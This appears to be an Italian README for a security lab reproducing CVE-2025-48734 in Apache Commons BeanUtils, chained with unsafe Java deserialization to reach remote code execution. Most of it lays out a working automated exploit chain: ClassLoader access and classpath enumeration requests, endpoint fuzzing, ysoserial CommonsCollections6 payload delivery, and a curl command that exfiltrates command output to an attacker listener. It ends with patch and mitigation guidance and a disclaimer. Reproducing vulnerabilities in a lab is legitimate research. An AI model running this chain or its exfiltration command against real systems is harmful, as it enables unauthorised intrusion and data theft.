CVE-2025-48734: Apache Commons BeanUtils – Information Leak di declaringClass degli enum e catena RCE

Solo per scopi educativi e ricerche di sicurezza autorizzate.

Questo repository fornisce un ambiente di laboratorio controllato per riprodurre la vulnerabilità CVE-2025-48734 in Apache Commons BeanUtils ed esplorare come un attaccante potrebbe scalare fino all'esecuzione di codice remoto (RCE) in determinate condizioni.

📖 Descrizione della vulnerabilità

CVE-2025-48734 colpisce Apache Commons BeanUtils nelle versioni precedenti alla 1.11.0 (e il ramo 2.x prima della 2.0.0-M2). Il problema risiede in PropertyUtilsBean, che consente l'accesso alla proprietà declaringClass degli enum Java tramite percorsi annidati (ad es., enum.declaringClass). Tutti gli enum ereditano il metodo getDeclaringClass() da java.lang.Enum, che BeanUtils espone come proprietà navigabile.

Un attaccante che può controllare il percorso della proprietà nelle chiamate a getProperty() o getNestedProperty() può:

• Ottenere un riferimento al ClassLoader dell'applicazione (tramite enum.declaringClass.classLoader).
• Enumerare tutti i JAR caricati a runtime iterando classLoader.URLs[n].
• Scalare fino alla RCE se l'applicazione ha un endpoint di deserializzazione non sicuro e una libreria gadget vulnerabile nel proprio classpath.

⚠️ Importante: La vulnerabilità da sola non garantisce direttamente la RCE. Fornisce l'accesso al ClassLoader e consente l'enumerazione del classpath, che devono essere concatenati con un endpoint di deserializzazione non sicuro e una libreria gadget vulnerabile per ottenere l'esecuzione di codice. Vedere la sezione Analisi dettagliata dell'exploit.

Punteggio CVSS: 8.8 (Alto) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

🧪 Ambiente di laboratorio

Infrastruttura

Il laboratorio è composto da due componenti:

• VM Debian — esegue l'applicazione Spring Boot vulnerabile.
• VM Kali — esegue gli strumenti di attacco.

Applicazione vulnerabile (Debian)

Un servizio Spring Boot che espone i seguenti endpoint:

• GET /api/property?path=<property-path> — legge una proprietà annidata utilizzando PropertyUtilsBean.getNestedProperty() senza sanitizzazione. Questo è il punto di ingresso della CVE.
• GET /api/nested-set?path=<path>&value=<value> — scrive proprietà annidate (anch'esso vulnerabile).
• POST /api/data/import — accetta oggetti Java serializzati grezzi (application/octet-stream) e li deserializza senza validazione. Questo è il vettore di consegna della RCE.

Il bean target è un oggetto Order contenente un enum Status. Ciò consente di costruire la catena status.declaringClass.classLoader.

Nota: L'endpoint /api/data/import non fa parte di CVE-2025-48734. È incluso per simulare uno scenario realistico in cui un endpoint di deserializzazione vulnerabile coesiste con la CVE. In un'applicazione reale, questo tipo di endpoint compare in integrazioni legacy, API interne o middleware configurati in modo errato.

Dipendenze vulnerabili

⚙️ Configurazione rapida

VM Debian

chmod +x setup-lab-debian.sh
./setup-lab-debian.sh

Lo script installa le dipendenze, compila il progetto, lo registra come servizio systemd e lo avvia automaticamente. L'applicazione rimane in ascolto su 0.0.0.0:8080.

VM Kali

chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080

Lo script installa le dipendenze e scarica ysoserial.

💀 Catena di attacco completa

L'exploit è completamente automatizzato in un singolo script che impone il corretto ordine delle fasi. Ogni fase è un prerequisito per la successiva.

cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'

Fase 1 — Ricognizione CVE-2025-48734

Lo script verifica status.declaringClass e status.declaringClass.classLoader. Se uno dei due è bloccato, lo script si interrompe — l'applicazione è patchata e la catena non può procedere.

GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"

GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"

Fase 2 — Enumerazione del classpath tramite CVE

Utilizzando il riferimento al ClassLoader ottenuto nella Fase 1, lo script itera classLoader.URLs[n] per elencare tutti i JAR caricati e cerca Commons Collections 3.x. Se non viene trovato, lo script si interrompe — nessuna catena gadget disponibile.

GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/

GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/

Fase 3 — Rilevamento dell'endpoint di deserializzazione

Con una catena gadget confermata, lo script esegue il fuzzing dei comuni endpoint di import/sync inviando i magic bytes di serializzazione Java (0xACED0005) e identifica gli endpoint che tentano ObjectInputStream.readObject() in base al pattern delle risposte. Se non viene trovato alcun endpoint, lo script si interrompe.

POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found

Fase 4 — Generazione e consegna del payload

ysoserial genera un payload CommonsCollections6 (il più portabile per Java 11+) e lo invia all'endpoint rilevato.

POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>

→ {"status": "success", "class": "java.util.HashSet"}

Fase 5 — RCE confermata

Il comando viene eseguito sul server durante la deserializzazione, prima che la risposta venga restituita. L'output può essere esfiltrato reindirizzandolo a un file o tramite callback HTTP:

# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)

# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'

🔍 Perché CVE-2025-48734 è un prerequisito per la RCE?

La CVE non è un vettore di RCE diretto — è il perno di ricognizione che rende possibile il resto della catena:

Without CVE-2025-48734:
  → No ClassLoader access
  → No classpath enumeration
  → No way to confirm Commons Collections 3.x is present
  → No reason to look for a deserialization endpoint
  → Chain broken at the start

With CVE-2025-48734:
  → ClassLoader exposed
  → Full classpath visible via URLs[n]
  → Commons Collections 3.x confirmed
  → Deserialization endpoint discovered via fuzzing
  → RCE achieved

Le tre condizioni che devono allinearsi per la RCE completa:

🛡️ Mitigazione e patch

Correzione di CVE-2025-48734

Aggiornare Commons BeanUtils:

In pom.xml:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.11.0</version>
</dependency>

Correzione della deserializzazione non sicura

Due mitigazioni complementari:

1. Aggiornare Commons Collections alla 4.x — rimuove la catena gadget.
2. Aggiungere un ObjectInputFilter — limita quali classi possono essere deserializzate:

ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
    "java.lang.Integer;java.lang.String;!*"
));

Verifica della patch

Dopo aver aggiornato BeanUtils alla 1.11.0, ricompilare e riavviare il servizio. Eseguire lo script di exploit — dovrebbe interrompersi alla Fase 1:

[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.

📚 Riferimenti

• CVE-2025-48734 su NVD
• GitHub Advisory GHSA-wxr5-93ph-8wr9
• Report di sicurezza di Apache Commons BeanUtils
• ysoserial

Esclusione di responsabilità

Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi che non si possiedono o per i quali non si dispone di un'esplicita autorizzazione scritta al test è illegale. L'autore non è responsabile di qualsiasi uso improprio.